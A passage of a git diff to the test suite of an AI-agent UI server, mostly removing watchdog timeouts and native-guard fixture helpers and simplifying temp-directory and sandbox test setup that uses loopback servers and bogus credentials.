owner and ambient principals have an account", () => { const principal = (kind: Principal["kind"], authMethod: Principal["authMethod"]): Principal => ({ diff --git a/packages/ui-server/tests/account-writes-offloop.test.ts b/packages/ui-server/tests/account-writes-offloop.test.ts index 66e013a13c..68bef3c9db 100644 --- a/packages/ui-server/tests/account-writes-offloop.test.ts +++ b/packages/ui-server/tests/account-writes-offloop.test.ts @@ -1,4 +1,3 @@ -import { watchdogMs } from "../../../scripts/test-deadlines"; /** Account/security administration commits on the shared FULL writer (#3002). */ import { expect, test } from "bun:test"; import { mkdtempSync, rmSync } from "node:fs"; @@ -68,7 +67,7 @@ for (const operation of ["mint", "revoke", "grant", "revokeGrant"] as const) { .toContain(operation === "grant" || operation === "revokeGrant" ? "reference_grants" : "principals"); if (operation === "revoke") expect(resolvePrincipal(f.db, f.agent.id)?.revokedAt, "ACCOUNT_REVOCATION_COMMITTED").not.toBeNull(); } finally { await f.close(); } - }, watchdogMs(120_000)); + }); } test("explicit metadata recipient commits through FULL account writes and a queued revoked owner cannot grant it", async () => { diff --git a/packages/ui-server/tests/bundled-claude.test.ts b/packages/ui-server/tests/bundled-claude.test.ts index 6a793c284b..227af02bc5 100644 --- a/packages/ui-server/tests/bundled-claude.test.ts +++ b/packages/ui-server/tests/bundled-claude.test.ts @@ -1,6 +1,4 @@ -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; -import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** * With `CLAUDE_CODE_PATH` unset, a turn runs the Agent SDK's built-in Claude * Code binary (#213, docs/decisions/claude-code-runtime.md, "The decision"). @@ -15,13 +13,14 @@ import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../ * real against a loopback server with bogus credentials only. */ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; -import { chmodSync, mkdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; import type { BackendActivityEvent, BackendBridge } from "@schlessera/brain-ui-sdk/server"; import { createBackendRegistry } from "../src/agent/backend"; import { resolveServerConfig } from "../src/config/env"; -import { fixtureShellQuote, fixtureServicePost } from "../../../scripts/worker-effect-witness"; +import { fixtureShellQuote } from "../../../scripts/worker-effect-witness"; import { bundledClaudeBinary } from "./helpers/claude-binary"; // Distinct bogus values, so a header names exactly which credential was sent. @@ -70,14 +69,13 @@ afterEach(() => { }); function tempDir(prefix: string): string { - const dir = nativeFixtureDirectory(prefix); + const dir = mkdtempSync(join(tmpdir(), prefix)); scratch.push(dir); return dir; } /** The environment a host would give the server, with every credential bogus. */ function arrangeHost(extra: Record = {}): string { - nativeScriptedService(server.url.origin); const home = tempDir("bundled-home-"); mkdirSync(join(home, ".claude"), { recursive: true }); const brainPath = tempDir("bundled-brain-"); @@ -94,7 +92,7 @@ function arrangeHost(extra: Record = {}): string { ANTHROPIC_API_KEY: API_KEY, ANTHROPIC_AUTH_TOKEN: AUTH_TOKEN, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", - BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC,ANTHROPIC_BASE_URL", + BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", ...extra, }); return brainPath; @@ -112,19 +110,19 @@ async function productionTurn(brainPath: string): Promise activity.push(event), }; const workerStartupView = createFixtureWorkerStartupView(brainPath); - try { await backend.startTurn({ workerStartupView, workerSandbox: prepareFixtureWorkerSandbox(brainPath, { home: process.env.HOME, areas: [] }), prompt: "Reply with the single word ok.", signal: new AbortController().signal, bridge }); } + try { await backend.startTurn({ workerStartupView, prompt: "Reply with the single word ok.", signal: new AbortController().signal, bridge }); } finally { workerStartupView.cleanup(); } return activity; } -/** Record the chosen path, then run only its version inspection, never a turn. */ +/** An exec wrapper that records the command the SDK chose, and runs nothing. */ function recordingWrapper(): { wrapper: string; commands: () => string[] } { // /tmp is fresh inside the worker; this fixture executable stays read-only. - const dir = nativeFixtureDirectory("bundled-wrapper-"); + const dir = mkdtempSync(join(tmpdir(), "bundled-wrapper-")); scratch.push(dir); const wrapper = join(dir, "wrapper"); - const report = fixtureServicePost("/fixture-command","process.argv.at(-1)"); - writeFileSync(wrapper, `#!/bin/sh\n${fixtureShellQuote(process.execPath)} -e ${fixtureShellQuote(report)} "$1" || exit 1\nexec "$1" --version\n`); + const report = `await fetch("http://127.0.0.1:${server.port}/fixture-command", {method:"POST", body:process.argv.at(-1)});`; + writeFileSync(wrapper, `#!/bin/sh\n${fixtureShellQuote(process.execPath)} -e ${fixtureShellQuote(report)} "$1"\nexit 1\n`); chmodSync(wrapper, 0o755); return { wrapper, @@ -138,7 +136,6 @@ describe("the binary a turn runs", () => { const brainPath = arrangeHost({ BRAIN_UI_EXEC_WRAPPER: wrapper }); await productionTurn(brainPath); expect(commands(), "BUNDLED_EXECUTABLE_RECORDED").toEqual([bundledClaudeBinary()]); - expect(seen,"BUNDLED_RECORD_ONLY_HAS_NO_INFERENCE").toEqual([]); // The backend's only input to the option: nothing is configured, so // claude-code-path.test.ts's "absent" case is the one that applies. expect(resolveServerConfig(process.env).agent.claudeCodePath).toBeNull(); @@ -147,11 +144,9 @@ describe("the binary a turn runs", () => { test("with CLAUDE_CODE_PATH set, the SDK is given that path unchanged", async () => { const { wrapper, commands } = recordingWrapper(); const hostBinary = join(tempDir("bundled-host-"), "claude"); - symlinkSync(bundledClaudeBinary(),hostBinary); const brainPath = arrangeHost({ BRAIN_UI_EXEC_WRAPPER: wrapper, CLAUDE_CODE_PATH: hostBinary }); await productionTurn(brainPath); expect(commands(), "CONFIGURED_EXECUTABLE_RECORDED").toEqual([hostBinary]); - expect(seen,"CONFIGURED_RECORD_ONLY_HAS_NO_INFERENCE").toEqual([]); }); test("the built-in binary, keyless, sends the subscription token and no API key", async () => { diff --git a/packages/ui-server/tests/external-speech.test.ts b/packages/ui-server/tests/external-speech.test.ts index 1e68fd8b31..cdbb7e07f8 100644 --- a/packages/ui-server/tests/external-speech.test.ts +++ b/packages/ui-server/tests/external-speech.test.ts @@ -1,4 +1,3 @@ -import { watchdogMs } from "../../../scripts/test-deadlines"; import { describe, expect, test } from "bun:test"; import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -59,7 +58,7 @@ test("a supplied provider wins over automatic Deepgram discovery but never an ex } } finally { await t.close(); } } -}, watchdogMs(120_000)); +}); test("supported keyterms reach the supplied provider and false capabilities skip the builder", async () => { for (const supported of [true, false]) { diff --git a/packages/ui-server/tests/governance-policy.test.ts b/packages/ui-server/tests/governance-policy.test.ts index e2dd2cb431..deaaaf8144 100644 --- a/packages/ui-server/tests/governance-policy.test.ts +++ b/packages/ui-server/tests/governance-policy.test.ts @@ -381,7 +381,7 @@ test.each(["missing", "legacy", "ancestor"] as const)("a pre-existing unpinned p } finally { await strict.end(); } } if (admitted) { - next = launchAgentWorker({ brainPath: f.brain, startupView: admitted.startupView, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", + next = launchAgentWorker({ brainPath: f.brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); nextOutput = Promise.all([collect(next.stdout), collect(next.stderr)]); await ready("next-ready.md"); diff --git a/packages/ui-server/tests/helpers/fixture-native-startup.ts b/packages/ui-server/tests/helpers/fixture-native-startup.ts index 105ada6d87..7585a3f356 100644 --- a/packages/ui-server/tests/helpers/fixture-native-startup.ts +++ b/packages/ui-server/tests/helpers/fixture-native-startup.ts @@ -1,5 +1,3 @@ -import {observeCopiedFixtureTurnTrees} from "./fixture-turn-data-tree.js"; -import {observePrivateIndexes} from "./fixture-private-index.js"; /** Policy unit fixtures replace only native acquisition; native runtime proof is separate. */ import { afterEach, beforeEach, spyOn } from "bun:test"; import * as startup from "../../../ui-sdk/src/server/worker-startup-view.js"; @@ -9,7 +7,6 @@ let references = 0; let acquisition: ReturnType> | undefined; let outputAcquisition: ReturnType> | undefined; -let releaseTreeObserver:undefined|(()=>void); let managed: ReturnType> | undefined; /** Views this stand-in acquired: copies, never a native checkpoint. */ const acquired = new WeakSet(); @@ -27,15 +24,13 @@ export function installFixtureNativeStartupViews(): void { /** Standalone fixture subprocesses restore on shutdown; never imported by product code. */ export function replaceNativeStartupAcquisitionForFixture(): () => void { references++; - const releaseIndexes=observePrivateIndexes(); // Another suite may restore every Bun spy while an app fixture is alive. // Each explicit acquisition re-establishes its test-only boundary. { - releaseTreeObserver?.();releaseTreeObserver=observeCopiedFixtureTurnTrees(isFixtureStartupView); outputAcquisition = spyOn(output, "prepareNativeWorkerOutput").mockImplementation(prepareFixtureNativeWorkerOutput); acquisition = spyOn(startup, "prepareNativeWorkerStartupView").mockImplementation(async (brain, _manager, signal) => { signal?.throwIfAborted(); - const view = createFixtureWorkerStartupView(brain); acquired.add(view);const cleanup=view.cleanup;view.cleanup=()=>{acquired.delete(view);return cleanup();};return view; + const view = createFixtureWorkerStartupView(brain); acquired.add(view); return view; }); // A copied fixture view stands in for a manager-acquired one at turn // admission's refusal only (#3314); everything else still sees it as @@ -43,5 +38,5 @@ export function replaceNativeStartupAcquisitionForFixture(): () => void { managed = spyOn(startup, "assertManagedTurnStartupView").mockImplementation(() => {}); } let closed = false; - return () => { if (closed) return; closed = true; releaseIndexes(); if (--references === 0) { releaseTreeObserver?.();releaseTreeObserver=undefined;acquisition?.mockRestore(); acquisition = undefined; outputAcquisition?.mockRestore(); outputAcquisition = undefined; managed?.mockRestore(); managed = undefined; } }; + return () => { if (closed) return; closed = true; if (--references === 0) { acquisition?.mockRestore(); acquisition = undefined; outputAcquisition?.mockRestore(); outputAcquisition = undefined; managed?.mockRestore(); managed = undefined; } }; } diff --git a/packages/ui-server/tests/helpers/fixture-private-index.ts b/packages/ui-server/tests/helpers/fixture-private-index.ts deleted file mode 100644 index 1d82e4c686..0000000000 --- a/packages/ui-server/tests/helpers/fixture-private-index.ts +++ /dev/null @@ -1,32 +0,0 @@ -import {nativeFixturePrivateIndex} from "../../../../scripts/test-native-guard"; -import {AsyncLocalStorage} from "node:async_hooks"; -import {spyOn} from "bun:test"; -import * as governed from "../../src/brain/governed-turn.js"; -import * as indexes from "../../src/brain/private-index.js"; - -// Observe real acquisitions; never substitute allocator or turn return values. -const acquiringPrivateIndexes=new AsyncLocalStorage<{brain:string;releases:(()=>void)[]}>(); -let privateIndexObservers=0; -let restorePrivateIndexObservers:undefined|(()=>void); -export function observePrivateIndexes():()=>void { - if(privateIndexObservers++===0){ - const create=indexes.createPrivateIndexDirectory,factory=governed.createGovernedTurns; - const allocator=spyOn(indexes,"createPrivateIndexDirectory").mockImplementation(()=>{ - const root=create(),turn=acquiringPrivateIndexes.getStore(); - if(turn)turn.releases.push(nativeFixturePrivateIndex(root,turn.brain,false));return root; - }); - const turns=spyOn(governed,"createGovernedTurns").mockImplementation(options=>{ - const result=factory(options),begin=result.begin; - result.begin=(...args)=>{ - const turn={brain:options.brainPath,releases:[] as (()=>void)[]}; - const release=()=>{for(const dispose of turn.releases.splice(0))dispose();}; - return acquiringPrivateIndexes.run(turn,async()=>{ - try{const hold=await begin(...args),end=hold.end;hold.end=async()=>{try{return await end();}finally{release();}};return hold;} - catch(error){release();throw error;} - }); - };return result; - }); - restorePrivateIndexObservers=()=>{turns.mockRestore();allocator.mockRestore();}; - } - let closed=false;return ()=>{if(closed)return;closed=true;if(--privateIndexObservers===0){restorePrivateIndexObservers?.();restorePrivateIndexObservers=undefined;}}; -} diff --git a/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts b/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts deleted file mode 100644 index 2c0bd0e3a8..0000000000 --- a/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts +++ /dev/null @@ -1,20 +0,0 @@ -/** Observe the real copied-tree acquisition, retaining its original result and close. */ -import {spyOn} from "bun:test"; -import * as trees from "../../src/brain/turn-data-tree.js"; -import {nativeFixtureCopiedTurnTree} from "../../../../scripts/test-native-guard"; - -// Capture the real allocator once: Bun reuses a spy object on the same export. -const acquire=trees.createTurnDataTree; -export function observeCopiedFixtureTurnTrees(liveView:(view:unknown)=>boolean,beforeClose?:()=>Promise):()=>void { - const observer=spyOn(trees,"createTurnDataTree").mockImplementation(async options=>{ - const result=await acquire(options); - if(!result.mount||!liveView(options.view))return result; - let release:()=>void; - try{release=nativeFixtureCopiedTurnTree(options.brainPath,options.view,result.mount,()=>liveView(options.view),false);} - catch(error){await result.close();throw error;} - const close=result.close;let closing:Promise|undefined; - result.close=()=>closing??=(async()=>{try{await beforeClose?.();}finally{release();await close();}})(); - return result; - }); - return ()=>observer.mockRestore(); -} diff --git a/packages/ui-server/tests/helpers/http-contract-app.ts b/packages/ui-server/tests/helpers/http-contract-app.ts index 7b1413137f..fb5d7b961c 100644 --- a/packages/ui-server/tests/helpers/http-contract-app.ts +++ b/packages/ui-server/tests/helpers/http-contract-app.ts @@ -20,9 +20,6 @@ import { makeFakeBackend } from "./fake-backend"; */ export const CLI_LOG = ".brain-fixture-cli.jsonl"; -// Capture before an interrupted fixture can leave its route observer active. -const originalRoute = Hono.prototype.route; - /** A real composition root with disposable files and no vendor discovery. */ export async function httpContractApp(options: { env?: Record; @@ -78,6 +75,7 @@ else if (args[0] === "sync") console.log("Fixture sync complete"); // real mount. Its public routes collection includes direct /ws and SPA // handlers as well as the routers; no production inspection seam is needed. let mounted: Hono | undefined; + const originalRoute = Hono.prototype.route; const observer = spyOn(Hono.prototype, "route").mockImplementation(function (this: Hono, ...args) { const result = Reflect.apply(originalRoute, this, args); mounted = result; diff --git a/packages/ui-server/tests/helpers/native-app-fixture.ts b/packages/ui-server/tests/helpers/native-app-fixture.ts index af344e9240..c17189c440 100644 --- a/packages/ui-server/tests/helpers/native-app-fixture.ts +++ b/packages/ui-server/tests/helpers/native-app-fixture.ts @@ -1,4 +1,3 @@ -import {nativeFixtureAppAuthority} from "../../../../scripts/test-native-guard"; /** Explicit offline broker for app contracts; copied test roots never qualify Btrfs behavior. */ import { mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -7,15 +6,14 @@ import { NATIVE_MANAGER_MAX_DELTA_BYTES, NATIVE_MANAGER_OPERATION_TIMEOUT_MS } f import { createNativeJournalFixture } from "./native-journal-fixture.js"; import { replaceNativeStartupAcquisitionForFixture } from "./fixture-native-startup.js"; -export function createNativeAppFixture(brainPath: string, options: {fixtureRoots?:readonly string[]} = {}) { - const releaseAuthority=nativeFixtureAppAuthority([brainPath,...options.fixtureRoots??[]]); +export function createNativeAppFixture(brainPath: string) { const state = mkdtempSync(join(tmpdir(), "odysseus-native-app-")), native = createNativeJournalFixture(brainPath, state); const broker = native.serve(), restore = replaceNativeStartupAcquisitionForFixture(); const leasePath = join(state, "native-leases.sqlite"); let closed = false; return { nativeBrain: { socketPath: broker.socketPath, leasePath, timeoutMs: NATIVE_MANAGER_OPERATION_TIMEOUT_MS, maxDeltaBytes: NATIVE_MANAGER_MAX_DELTA_BYTES }, env: { BRAIN_UI_NATIVE_BRAIN_SOCKET: broker.socketPath, BRAIN_UI_NATIVE_BRAIN_LEASE_PATH: leasePath }, - async close() { if (closed) return; closed = true; try { broker.close(); await native.close(); } finally { restore();releaseAuthority(); rmSync(state, { recursive: true, force: true }); } }, + async close() { if (closed) return; closed = true; try { broker.close(); await native.close(); } finally { restore(); rmSync(state, { recursive: true, force: true }); } }, }; } diff --git a/packages/ui-server/tests/helpers/search-witness.ts b/packages/ui-server/tests/helpers/search-witness.ts deleted file mode 100644 index 6557c7affb..0000000000 --- a/packages/ui-server/tests/helpers/search-witness.ts +++ /dev/null @@ -1,10 +0,0 @@ -/** Shell fixture: a match is witnessed only after successful search completion. */ -export function searchWitnessScript(rg: string, marker: string, status: string, holdSeconds = 3): string { - const quote = (value: string) => "'" + value.replaceAll("'", "'\\''") + "'"; - return `#!/bin/sh -case " $* " in - *" sirens "*) ${quote(rg)} "$@"; code=$?; printf '%s\\n' "$code" > ${quote(status)}; if [ "$code" -eq 0 ]; then : > ${quote(marker)}; sleep ${holdSeconds}; fi; exit "$code";; - *) exec ${quote(rg)} "$@";; -esac -`; -} diff --git a/packages/ui-server/tests/helpers/test-app.ts b/packages/ui-server/tests/helpers/test-app.ts index 460f848fca..c12ddd0db2 100644 --- a/packages/ui-server/tests/helpers/test-app.ts +++ b/packages/ui-server/tests/helpers/test-app.ts @@ -138,7 +138,7 @@ export async function createTestApp(options: TestAppOptions = {}): Promise next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); + next = launchAgentWorker({ brainPath: brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); nextOutput = Promise.all([collect(next.stdout), collect(next.stderr)]); await ready("next-ready.md"); } writeFileSync(join(brain, "old-go.md"), "go"); expect(await old.exited, (await oldOutput).join("")).toBe(0); diff --git a/packages/ui-server/tests/host-unpinned-folder-plan.test.ts b/packages/ui-server/tests/host-unpinned-folder-plan.test.ts index 430d40d3b6..cf663fe334 100644 --- a/packages/ui-server/tests/host-unpinned-folder-plan.test.ts +++ b/packages/ui-server/tests/host-unpinned-folder-plan.test.ts @@ -37,7 +37,7 @@ for (const renamed of ["group/private", "group"] as const) test(`an existing fol expect(existsSync(join(brain, "old-ready.md")), "NO_HOST_PROCESS_UNDER_EXISTING_FOLDER_POLICY").toBe(false); expect(db.query("SELECT mode, purpose, folder_topology FROM writer_gate").all(), "REFUSED_HOST_LEAVES_NO_LEDGER_ROW").toEqual([]); admitted = await turns.begin("provider-folder-after-refused-host", new AbortController().signal); - next = launchAgentWorker({ brainPath: brain, startupView: admitted.startupView, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); + next = launchAgentWorker({ brainPath: brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); nextOutput = Promise.all([collect(next.stdout), collect(next.stderr)]); await ready("next-ready.md"); const rootBefore = lstatSync(join(brain, "group/private")).ino; writeFileSync(join(brain, "old-go.md"), "go"); diff --git a/packages/ui-server/tests/http-supported-mounts.test.ts b/packages/ui-server/tests/http-supported-mounts.test.ts index 7607461429..7f483f8062 100644 --- a/packages/ui-server/tests/http-supported-mounts.test.ts +++ b/packages/ui-server/tests/http-supported-mounts.test.ts @@ -1,4 +1,3 @@ -import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterAll, describe, expect, test } from "bun:test"; import { createNativeBrainManagerClient } from "@schlessera/brain-ui-sdk/internal"; import { generateSignedCookie } from "hono/cookie"; @@ -355,7 +354,7 @@ test("a dirty failed mount discards its resources before the next independent ca try { await pool.close(); } finally { timers.restore(); } } -}, watchdogMs(120_000)); +}); test("mount pool preserves the original failure when disposal also fails", async () => { const original = new Error("handler assertion"), cleanup = new Error("disposal failed"); diff --git a/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts b/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts index 962f8a876c..74cd1a0cfd 100644 --- a/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts +++ b/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts @@ -1,4 +1,3 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; /** * #689 crash and restore through the fixture host. A supervised app process * runs the gated production dispatcher; the test is its supervisor and cron. @@ -54,7 +53,7 @@ async function start(at: Install, hold = "") { let exited = false; void child.exited.then(() => { exited = true; }); cleanup.push(() => { if (!exited) child.kill("SIGKILL"); }); - expect(await waitFor(() => existsSync(join(at.dir, "ready.json")) || exited, watchdogMs(60_000)), "host listener").toBe(true); + expect(await waitFor(() => existsSync(join(at.dir, "ready.json")) || exited), "host listener").toBe(true); if (exited) throw new Error(await new Response(child.stderr).text()); const ready = JSON.parse(readFileSync(join(at.dir, "ready.json"), "utf8")) as { port: number; principalId: string }; const origin = `http://127.0.0.1:${ready.port}`; @@ -131,7 +130,7 @@ test("killed after its claim: the lease recovers with spend charged, and the ret expect(note(at)).toBeNull(); expect(reservations(at).map(r => r.purpose)).toEqual(["triage", "execute", "retry"]); await host.stop(); -}, watchdogMs(180_000)); +}, 60_000); test("killed after its escalation checkpoint: the decision survives once and resolves to one effect", async () => { const at = installation(); @@ -156,7 +155,7 @@ test("killed after its escalation checkpoint: the decision survives once and res expect(note(at)).toBe(WRITE.content as string); expect(executes(at)[0]).toMatchObject({ status: "done" }); await host.stop(); -}, watchdogMs(180_000)); +}, 60_000); test("killed after the approved side effect: the retried follow-up cannot apply it twice", async () => { const at = installation(); @@ -183,7 +182,7 @@ test("killed after the approved side effect: the retried follow-up cannot apply expect(pending(at)).toEqual([]); expect(executes(at)[0]).toMatchObject({ status: "done" }); await host.stop(); -}, watchdogMs(180_000)); +}, 60_000); test("the daily snapshot restores into an empty installation with its decision, spend and trust, and applies once", async () => { const at = installation(); @@ -221,7 +220,7 @@ test("the daily snapshot restores into an empty installation with its decision, expect(note(content)).toBe(WRITE.content as string); expect(await poke(content, host)).toMatchObject({ claimed: 0 }); await host.stop(); -}, watchdogMs(180_000)); +}, 90_000); const staging = (at: Install) => existsSync(join(at.brain, ".brain-ui/inbox")) ? readdirSync(join(at.brain, ".brain-ui/inbox")).filter(name => !name.startsWith(".")) : []; @@ -255,7 +254,7 @@ test("killed inside staging compensation: the restart repeats removal and acknow expect(turns(at).filter(t => t.followUp && t.result.ok), "no effect replays").toHaveLength(1); expect(pending(at)).toEqual([]); await host.stop(); -}, watchdogMs(180_000)); +}, 60_000); test("staging missing after a restore becomes a visible decision, never blind execution", async () => { const at = installation(); @@ -282,4 +281,4 @@ test("staging missing after a restore becomes a visible decision, never blind ex expect(turns(target), "no agent turn ran on missing evidence").toEqual([]); expect(reservations(target).filter(r => r.purpose !== "triage")).toEqual([]); await host.stop(); -}, watchdogMs(180_000)); +}, 60_000); diff --git a/packages/ui-server/tests/maintenance-provider-relay.test.ts b/packages/ui-server/tests/maintenance-provider-relay.test.ts index d3d1f65a58..425cfd2deb 100644 --- a/packages/ui-server/tests/maintenance-provider-relay.test.ts +++ b/packages/ui-server/tests/maintenance-provider-relay.test.ts @@ -12,7 +12,6 @@ import { join, resolve } from "node:path"; import { createNativeBrainManagerClient, type ProviderRelayReceipt } from "@schlessera/brain-ui-sdk/internal"; import { createHostBoundary, type BrainExecution } from "../src/brain/host-boundary.js"; import { createNativeAppFixture } from "./helpers/native-app-fixture.js"; -import { nativeScriptedService } from "../../../scripts/test-native-guard"; const ROOT = resolve(import.meta.dir, "../../.."); const BRAIN_CLI = join(ROOT, "packages/core/src/cli/brain.ts"); @@ -55,8 +54,6 @@ afterAll(() => { upstream.stop(true); rmSync(root, { recursive: true, force: tru function boundary(options: { blocked?: boolean } = {}) { const state = mkdtempSync(join(root, "state-")); - const releaseAuthority=nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] }); - cleanup.push(async()=>releaseAuthority()); const native = createNativeAppFixture(brain); cleanup.push(native.close); const metered: Array<{ turnId: string | null; attempt: ProviderRelayReceipt }> = [], admitted: Array = []; const host = createHostBoundary({ brainPath: brain, dbPath: join(state, "ui.db"), exec: {}, diff --git a/packages/ui-server/tests/maintenance-temp-boundary-child.ts b/packages/ui-server/tests/maintenance-temp-boundary-child.ts index a55d8026ce..7ad36d5034 100644 --- a/packages/ui-server/tests/maintenance-temp-boundary-child.ts +++ b/packages/ui-server/tests/maintenance-temp-boundary-child.ts @@ -1,4 +1,3 @@ -import { watchdogMs } from "../../../scripts/test-deadlines"; /** Independent server/cron boundary caller; only ordinary maintenance code runs. */ import { writeSync } from "node:fs"; import { basename } from "node:path"; @@ -34,7 +33,7 @@ try { running = await boundary.launch(execution); void running.exited.then(() => { exited = true; }); // Reserve room for both streams and worst-case JSON escaping in the outer 8 KiB tail. - const receipt = JSON.parse(await ledgerChildLine(running, "inner server hold", 512, watchdogMs(60_000))); + const receipt = JSON.parse(await ledgerChildLine(running, "inner server hold", 512)); if (receipt.held !== true) throw new Error("owned maintenance command did not start"); answer({ held: true }); await Bun.stdin.text(); controller.abort(); diff --git a/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts b/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts index 0a02abed15..0c7fb74378 100644 --- a/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts +++ b/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts @@ -1,4 +1,3 @@ -import { watchdogMs } from "../../../scripts/test-deadlines"; import { Database } from "bun:sqlite"; import { afterEach, expect, test } from "bun:test"; import { existsSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; @@ -53,7 +52,7 @@ test("held real worker retains bounded pre-receipt stderr and original exit befo }); children.push(child); let failure: Error | undefined; - try { await ledgerChildLine(child, "controlled inner failure", undefined, watchdogMs(60_000)); } + try { await ledgerChildLine(child, "controlled inner failure"); } catch (error) { failure = error as Error; } expect(failure).toBeInstanceOf(Error); const outer = JSON.parse(failure!.message.slice(failure!.message.indexOf("{"))); @@ -79,4 +78,4 @@ test("held real worker retains bounded pre-receipt stderr and original exit befo const ledger = new Database(join(state, ledgerFile)); try { expect(ledger.query("SELECT bytes FROM reservations").all(), "FAILED_WORKER_RESERVATION_RELEASED").toEqual([]); } finally { ledger.close(); } -}, watchdogMs(120_000)); +}); diff --git a/packages/ui-server/tests/origin-policy.test.ts b/packages/ui-server/tests/origin-policy.test.ts index e6bb81ac0f..feec604225 100644 --- a/packages/ui-server/tests/origin-policy.test.ts +++ b/packages/ui-server/tests/origin-policy.test.ts @@ -1,4 +1,3 @@ -import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterAll, beforeAll, describe, expect, test } from "bun:test"; import { createTestApp, type TestApp } from "./helpers/test-app"; @@ -30,14 +29,14 @@ beforeAll(async () => { WEBAUTHN_ORIGINS: "https://alias.test", }, }); -}, watchdogMs(120_000)); +}); afterAll(async () => { - await webauthnOverrideApp?.teardown(); - await trustedProxyApp?.teardown(); - await splitApp?.teardown(); - await app?.teardown(); -}, watchdogMs(120_000)); + await webauthnOverrideApp.teardown(); + await trustedProxyApp.teardown(); + await splitApp.teardown(); + await app.teardown(); +}); function textPlainPost(path: string): Promise { return app.fetch(path, { diff --git a/packages/ui-server/tests/safety-native-delivery.test.ts b/packages/ui-server/tests/safety-native-delivery.test.ts index 3711ee9ed6..f799b0c59c 100644 --- a/packages/ui-server/tests/safety-native-delivery.test.ts +++ b/packages/ui-server/tests/safety-native-delivery.test.ts @@ -1,6 +1,4 @@ import { watchdogMs } from "../../../scripts/test-deadlines"; -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** Installed Claude file tools against a scripted loopback model and the real host ledger. */ import {expect,test} from "bun:test"; import {request as httpRequest} from "node:http"; @@ -8,8 +6,9 @@ import {startInferenceRelay,ANTHROPIC_INFERENCE_ROUTES} from "@schlessera/brain- import {resolveGovernancePolicy} from "@schlessera/brain-common/internal/governance-policy"; import {prepareTurnEgress} from "../src/brain/turn-egress"; import {query} from "@anthropic-ai/claude-agent-sdk"; -import {mkdirSync,rmSync,writeFileSync} from "node:fs"; +import {mkdirSync,mkdtempSync,rmSync,writeFileSync} from "node:fs"; import {join} from "node:path"; +import {tmpdir} from "node:os"; import {createUiDb} from "../src/db/client"; import {openSqliteWriter} from "../src/db/write-worker"; import * as probe from "./fixtures/write-worker-probe"; @@ -21,7 +20,7 @@ import {MEASURED_RUNTIME} from "../../ui-backend-claude/src/measured-runtime"; import {nativeModelReply} from "../../ui-backend-claude/tests/helpers/native-model-reply"; for(const mode of ["complete","writer-loss"] as const)test(`installed Claude ${mode} preserves the recorder delivery boundary`,async()=>{ - const root=nativeFixtureDirectory("odysseus-safety-native-"),brain=join(root,"brain"),home=join(root,"home"); + const root=mkdtempSync(join(tmpdir(),"odysseus-safety-native-")),brain=join(root,"brain"),home=join(root,"home"); mkdirSync(join(brain,"workspaces","voyage"),{recursive:true});mkdirSync(home); const path=join(brain,"workspaces","voyage","raft.md");writeFileSync(path,"Odysseus repairs the raft.\n"); const db=createUiDb(join(root,"ui.db")),writer=openSqliteWriter(db),writes=createGovernanceWrites(db,writer),controller=new AbortController(); @@ -64,7 +63,6 @@ for(const mode of ["complete","writer-loss"] as const)test(`installed Claude ${m const response=await post(...args);await 